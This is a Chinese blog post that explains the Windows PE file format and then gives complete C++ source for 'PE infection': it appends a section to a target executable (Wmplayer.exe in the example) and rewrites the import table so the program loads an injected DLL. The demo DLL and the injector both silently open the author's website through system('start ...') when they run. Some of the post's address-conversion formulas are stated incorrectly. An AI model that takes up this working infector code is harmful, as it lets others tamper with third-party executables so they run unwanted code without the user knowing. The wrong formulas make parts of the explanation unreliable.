
PE格式简介
PE(Portable Executable)格式,是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。
Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的,当然CPU不一样了,CPU指令的二进制编码是不一样的。只是文件中各种东西的布局是一样的。
PE文件使用的是一个平面地址空间,所有代码和数据都合并在一起,组成一个很大的结构。
下面是一个简化的PE文件格式
简化PE文件格式
DOS MZ HeaderPE HeaderSection TableSection 1Section 2...Section nDos Mz head 和Dos stub和称Dos文件头,PE文件的第一个字节起始于MS-DOS头部,被称作IMAGE_DOS_HEADER.紧随Dos stub的是PE文件头(PE Header),PE Header是PE相关结构NT映像头(IMAGE_NT_HEADERS)的简称,其中包含许多PE装载器用到的重要字段。
1、入口点 Entry Point
2、文件偏移地址 File Offset
3、虚拟地址 Virtual Address 简称:VA
4、基地址 ImageBase
5、相对虚拟地址 Relative Virual Address 简称:RVA
公式: RVA (相对虚拟地址) =VA (虚拟地址) - ImageBase (基地址)
文件偏移地址和虚拟地址转换
在X86系统中,每个内存页的大小是4KB,即0X1000个字节。
文件偏移地址 File Offset = RVA (相对虚拟地址)
文件偏移地址 File Offset = VA (虚拟地址) - ImageBase (基地址)
PE具体结构图
pe格式的结构体定义可以在编译器的include文件夹里的winnt.h找到。
如下所示(经过简化的,具体的可以查看winnt.h,不同字长的结构,其实大体一样的)。
几个宏定义:
IMAGE_DOS_HEADER- typedef struct _IMAGE_DOS_HEADER
- {
-
- WORD e_magic; //魔术数字,所有MS-DOS兼容的可执行文件都将此值设为0X4D5A(MZ)
-
- WORD e_cblp; //文件最后页的字节数
-
- WORD e_cp; //文件页数
-
- WORD e_crlc; //重定义元素个数
-
- WORD e_cparhdr; //头部尺寸,以段落为单位
-
- WORD e_minalloc; //所需的最小附加段
-
- WORD e_maxalloc; //所需的最大附加段
-
- WORD e_ss; //初始的SS值(相对偏移量)
-
- WORD e_sp; //初始的SP值
-
- WORD e_csum; //校验和
-
- WORD e_ip; //初始的IP值
-
- WORD e_cs; //初始的CS值(相对偏移量)
-
- WORD e_lfarlc; //重分配表文件地址
-
- WORD e_ovno; //覆盖号
-
- WORD e_res[4]; //保留字
-
- WORD e_oemid; //OEM标识符(相对e_oeminfo)
-
- WORD e_oeminfo; //OEM信息
-
- WORD e_res2[10]; //保留字
-
- DWORD e_lfanew; //新exe头部的文件地址
-
- }IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
复制代码 IMAGE_NT_HEADERSIMAGE_SECTION_HEADER- PE文件头后是节表,在winnt.h下如下定义
-
- typedef struct _IMAGE_SECTION_HEADER
-
- {
-
- //IMAGE_SIZEOF_SHORT_NAME=8
-
- BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//节表名称,如".text"
-
- union
-
- {
-
- DWORD PhysicalAddress;//物理地址
-
- DWORD VirtualSize;//真实长度,这两个值是一个联合结构,可以使用其中的任何一个,//一般是节的数据大小
-
- } Misc;
-
- DWORD VirtualAddress;//RVA
-
- DWORD SizeOfRawData;//物理长度
-
- DWORD PointerToRawData;//节基于文件的偏移量
-
- DWORD PointerToRelocations;//重定位的偏移
-
- DWORD PointerToLinenumbers;//行号表的偏移
-
- WORD NumberOfRelocations;//重定位项数目
-
- WORD NumberOfLinenumbers;//行号表的数目
-
- DWORD Characteristics;//节属性 如可读,可写,可执行等
-
- } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
复制代码- typedef struct IMAGE_THUNK_DATA
-
- {
-
- union
-
- {
-
- DWORD ForwarderString;
-
- DWORD Function;
-
- DWORD Ordinal;
-
- DWORD AddressOfData;
-
- }u1;
-
- }IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;
-
- typedef struct IMAGE_IMPORT_BY_NAME
-
- {
-
- WORD Hint;
-
- BYTE Name;
-
- }IMAGE_IMPORT_BY_NAME;
复制代码 详细PE结构说明请查阅:
PE文件结构详解 --(完整版)
修改 PE 文件 IAT 注入
通过以上的简单了解后,那么我们便进入正题。- 下面演示的这种方法其实是 PE 感染的一种,通过对目标程序添加一个新节并注入DLL,然后这会改变 PE 文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节。
- 1、在目标 PE 文件中添加一个新节并映射 PE 文件,判断是否可以加一个新节,找到节的尾部,矫正偏移,对齐 RVA 填充新节 PIMAGE_SECTION_HEADER,修改IMAGE_NT_HEADERS,将新节添加到文件尾部。
- 2、修改导入表:判断是否使用了绑定导入表,往新节中拷贝原导入表内容,继续构造新的导入表描述符 PIMAGE_IMPORT_DESCRIPTOR,构造IAT结构体 PIMAGE_THUNK_DATA,填充 PIMAGE_THUNK_DATA,将 PIMAGE_IMPORT_DESCRIPTOR 的 OriginalFirstThunk 和 FirstThunk 指向 PIMAGE_THUNK_DATA,name 指向 DllName,最后修改导入表的 VirtualAddress 指向新节。
复制代码 IDT 结构:

IDT 的描述在 IMAGE_OPTION_HEADER 里面的 IMPORT Table,通过 size 可以确定是否有足够的空间让我们添加。
IDT 是由 IMAGE_IMPORT_DESCRIPTION (简称IID) 结构体组成的数组,数组末尾以NULL结构体结束。每个IID结构体为0x14字节所以这里IID区域为RVA。

废话不多说……直接上代码。
现实代码
DLL:
点击查看代码- // dllmain.cpp : 定义 DLL 应用程序的入口点。
- #include "stdafx.h"
-
- extern "C"
- {
- __declspec(dllexport) int Msg();
- }
-
- __declspec(dllexport) int Msg()
- {
- system("start https://www.chwm.vip/?PEinject_v1.0");
- return 0;
- }
-
- DWORD WINAPI Thread(LPVOID LpParameter)
- {
- char szPath[MAX_PATH] = { 0 };
- char szBuf[1024] = { 0 };
- GetModuleFileName(NULL, szPath, MAX_PATH);
- sprintf(szBuf, "DLL 已注入到进程\r\n%s\r\nProcessID\r\n%d\r\n", szPath, GetCurrentProcessId());
- MessageBox(NULL, szBuf, "DLL Inject", MB_OK);
- return 0;
- }
-
- BOOL APIENTRY DllMain( HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- CreateThread(NULL, 0, Thread, NULL, 0, NULL);
- Msg();
- break;
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
-
复制代码 主程序:
点击查看代码- // PEinject.cpp : 定义控制台应用程序的入口点。
- //
-
- #include "stdafx.h"
- #include "PEinject.h"
-
- #ifdef _DEBUG
- #define new DEBUG_NEW
- #endif
-
- #define ERROR_MESSAGE(Msg) cout << Msg << endl;
-
-
- // 唯一的应用程序对象
-
- CWinApp theApp;
-
- using namespace std;
-
-
-
- BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
- BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize);
- BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
- DWORD RVAToFOA(PIMAGE_NT_HEADERS pNtHeaders, DWORD dwRVA);
- ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign);
-
-
-
- BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
- {
- BOOL bOk = false;
- try
- {
- bOk = AddNewSection(strTargetFile, 256);
- if (!bOk)
- {
- ERROR_MESSAGE("AddImportTable:AddNewSection failed.");
- return false;
- }
-
- bOk = AddNewImportDescriptor(strTargetFile, strInjectDllName, strFunctionName);
- if (!bOk)
- {
- ERROR_MESSAGE("AddImportTable:AddNewImportDescriptor failed.");
- return false;
- }
- }
- catch (exception* e)
- {
- ERROR_MESSAGE((string("AddImportTable:") + e->what()).c_str());
- return false;
- }
-
- return true;
- }
-
- BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize)
- {
- BOOL bOk = true;
- HANDLE TargetFileHandle = nullptr;
- HANDLE MappingHandle = nullptr;
- PVOID FileData = nullptr;
-
- try
- {
- // 打开文件
- TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if (TargetFileHandle == INVALID_HANDLE_VALUE)
- {
- ERROR_MESSAGE(string("AddNewSection:CreateFileA error with error code:" + GetLastError()).c_str());
- bOk = false;
- goto EXIT;
- }
-
- ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);
-
- // 映射文件
- MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
- if (MappingHandle == NULL)
- {
- ERROR_MESSAGE(string("AddNewSection:CreateFileMapping error with error code:" + GetLastError()).c_str());
- bOk = false;
- goto EXIT;
- }
-
- // 得到缓存头
- FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
- if (FileData == NULL)
- {
- ERROR_MESSAGE(string("AddNewSection:MapViewOfFile error with error code:" + GetLastError()).c_str());
- bOk = false;
- goto EXIT;
- }
-
- // 判断是否是PE文件
- if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
- {
- ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
- bOk = false;
- goto EXIT;
- }
-
- PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
- if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
- {
- ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
- bOk = false;
- goto EXIT;
- }
-
- // 判断是否可以增加一个新节
- if ((pNtHeaders->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeaders->OptionalHeader.SizeOfHeaders/*三个部分的总大小*/)
- {
- ERROR_MESSAGE("AddNewSection:There is not enough space to add a new section.");
- bOk = false;
- goto EXIT;
- }
-
- // 得到新节的起始地址, 最后的起始地址
- PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections;
- PIMAGE_SECTION_HEADER pLastSectionHeader = pNewSectionHeader - 1;
-
- // 对齐RVA和偏移
- DWORD FileSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.FileAlignment);
- DWORD FileOffset = PEAlign(pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData, pNtHeaders->OptionalHeader.FileAlignment);
- DWORD VirtualSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.SectionAlignment);
- DWORD VirtualOffset = PEAlign(pLastSectionHeader->VirtualAddress + pLastSectionHeader->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment);
-
- // 填充新节表
- memcpy(pNewSectionHeader->Name, "00cfg", strlen("00cfg"));
- pNewSectionHeader->VirtualAddress = VirtualOffset;
- pNewSectionHeader->Misc.VirtualSize = VirtualSize;
- pNewSectionHeader->PointerToRawData = FileOffset;
- pNewSectionHeader->SizeOfRawData = FileSize;
- pNewSectionHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
-
- // 修改IMAGE_NT_HEADERS
- pNtHeaders->FileHeader.NumberOfSections++;
- pNtHeaders->OptionalHeader.SizeOfImage += VirtualSize;
- pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; // 关闭绑定导入
- pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
-
- // 添加新节到文件尾部
- SetFilePointer(TargetFileHandle, 0, 0, FILE_END);
- PCHAR pNewSectionContent = new CHAR[FileSize];
- RtlZeroMemory(pNewSectionContent, FileSize);
- DWORD dwWrittenLength = 0;
- bOk = WriteFile(TargetFileHandle, pNewSectionContent, FileSize, &dwWrittenLength, nullptr);
- if (bOk == false)
- {
- ERROR_MESSAGE(string("AddNewSection:WriteFile error with error code:" + GetLastError()).c_str());
- bOk = false;
- goto EXIT;
- }
- }
- catch (exception* e)
- {
- ERROR_MESSAGE((string("AddNewSection:") + e->what()).c_str());
- bOk = false;
- }
- EXIT:
- if (TargetFileHandle != NULL)
- {
- CloseHandle(TargetFileHandle);
- TargetFileHandle = nullptr;
- }
- if (FileData != NULL)
- {
- UnmapViewOfFile(FileData);
- FileData = nullptr;
- }
- if (MappingHandle != NULL)
- {
- CloseHandle(MappingHandle);
- MappingHandle = nullptr;
- }
-
- return bOk;
- }
-
- ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign)
- {
- return(((dwNumber + dwAlign - 1) / dwAlign) * dwAlign); // 想 dwAlign 对齐,加上 dwAlign - 1,这样就可以保证对齐后的值 >= dwNumber
- }
-
- BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
- {
- bool bOk = true;
- HANDLE TargetFileHandle = nullptr;
- HANDLE MappingHandle = nullptr;
- PVOID FileData = nullptr;
- PIMAGE_IMPORT_DESCRIPTOR pImportTable = nullptr;
-
- try
- {
- // 打开文件
- TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if (TargetFileHandle == INVALID_HANDLE_VALUE)
- {
- ERROR_MESSAGE(string("AddNewImportDescriptor:CreateFileA error with error code:" + GetLastError()).c_str());
- bOk = false;
- goto EXIT;
- }
-
- ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);
-
- // 映射文件
- MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
- if (MappingHandle == NULL)
- {
- cout << "AddNewImportDescriptor:CreateFileMapping error with error code:" << std::to_string(GetLastError()).c_str();
- bOk = false;
- goto EXIT;
- }
-
- // 得到缓存头
- FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
- if (FileData == NULL)
- {
- ERROR_MESSAGE(string("AddNewImportDescriptor:MapViewOfFile error with error code:" + GetLastError()).c_str());
- bOk = false;
- goto EXIT;
- }
-
- // 判断是否是PE文件
- if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
- {
- ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
- bOk = false;
- goto EXIT;
- }
-
- PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
- if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
- {
- ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
- bOk = false;
- goto EXIT;
- }
-
- // 得到原导入表
- pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)FileData + RVAToFOA(pNtHeaders, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
-
- // 判断是否使用了绑定导入表
- bool bBoundImport = false;
- if (pImportTable->Characteristics == 0 && pImportTable->FirstThunk != 0)
- {
- // 桥一为0 桥二不是0 说明使用了绑定导入表
- bBoundImport = true;
- pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; // 关闭绑定导入
- pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
- }
-
- // 找到自己添加的新节
- PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections - 1;
- PBYTE pNewSectionData = pNewSectionHeader->PointerToRawData + (PBYTE)FileData;
- PBYTE pNewImportDescriptor = pNewSectionData;
-
- // 往新节中拷贝原导入表内容
- int i = 0;
- while (pImportTable->FirstThunk != 0 || pImportTable->Characteristics != 0)
- {
- memcpy(pNewSectionData + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), pImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR));
- pImportTable++;
- pNewImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
- i++;
- }
-
- // 复制最后一个描述符
- memcpy(pNewImportDescriptor, pNewImportDescriptor - sizeof(IMAGE_IMPORT_DESCRIPTOR), sizeof(IMAGE_IMPORT_DESCRIPTOR));
-
- // 计算修正值
- DWORD dwDelt = pNewSectionHeader->VirtualAddress - pNewSectionHeader->PointerToRawData;
-
- // pNewImportDescriptor 当前指向要构造的新描述符 再空出一个空描述符作为导入表的结束符 所以是 2 *
- PIMAGE_THUNK_DATA pNewThunkData = PIMAGE_THUNK_DATA(pNewImportDescriptor + 2 * sizeof(IMAGE_IMPORT_DESCRIPTOR));
- PBYTE pszDllName = (PBYTE)(pNewThunkData + 2);
- memcpy(pszDllName, strInjectDllName.c_str(), strInjectDllName.length());
- // 确定 DllName 的位置
- pszDllName[strInjectDllName.length() + 1] = 0;
- // 确定 IMAGE_IMPORT_BY_NAM 的位置
- PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pszDllName + strInjectDllName.length() + 1);
- // 初始化 IMAGE_THUNK_DATA
- pNewThunkData->u1.Ordinal = (DWORD_PTR)pImportByName - (DWORD_PTR)FileData + /*加上修正值 - 这里应该填充在内存中的地址*/dwDelt;
- // 初始化 IMAGE_IMPORT_BY_NAME
- pImportByName->Hint = 1;
- memcpy(pImportByName->Name, strFunctionName.c_str(), strFunctionName.length());
- pImportByName->Name[strFunctionName.length() + 1] = 0;
- // 初始化 PIMAGE_IMPORT_DESCRIPTOR
- if (bBoundImport)
- {
- ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = 0;
- }
- else
- {
- ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
- }
- ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->FirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
- ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->Name = dwDelt + (DWORD_PTR)pszDllName - (DWORD_PTR)FileData;
- // 修改导入表入口
- pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pNewSectionHeader->VirtualAddress;
- pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR);
- }
- catch (exception* e)
- {
- ERROR_MESSAGE((string("AddNewImportDescriptor:") + e->what()).c_str());
- bOk = false;
- }
-
- EXIT:
- {
- if (TargetFileHandle != NULL)
- {
- CloseHandle(TargetFileHandle);
- TargetFileHandle = nullptr;
- }
-
- if (FileData != NULL)
- {
- UnmapViewOfFile(FileData);
- FileData = nullptr;
- }
-
- if (MappingHandle != NULL)
- {
- CloseHandle(MappingHandle);
- MappingHandle = nullptr;
- }
- }
-
- return bOk;
- }
-
- PIMAGE_SECTION_HEADER GetOwnerSection(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
- {
- int i;
- PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNTHeaders + 1);
- for (i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++)
- {
- if ((dwRVA >= (pSectionHeader + i)->VirtualAddress) && (dwRVA <= ((pSectionHeader + i)->VirtualAddress + (pSectionHeader + i)->SizeOfRawData)))
- {
- return ((PIMAGE_SECTION_HEADER)(pSectionHeader + i));
- }
- }
- return PIMAGE_SECTION_HEADER(NULL);
- }
-
- DWORD RVAToFOA(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
- {
- DWORD _offset;
- PIMAGE_SECTION_HEADER section;
- // 找到偏移所在节
- section = GetOwnerSection(pNTHeaders, dwRVA);
- if (section == NULL)
- {
- return(0);
- }
- // 修正偏移
- _offset = dwRVA + section->PointerToRawData - section->VirtualAddress;
- return(_offset);
- }
-
- int main(int argc, char *argv[])
- {
- AddImportTable("Wmplayer.exe", "TestDLL.dll", "Msg");
-
- system("start https://www.chwm.vip/?PEinject_v1.0");
-
- system("pause");
-
- return 0;
- }
复制代码效果演示
修改前

修改后

运行效果

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |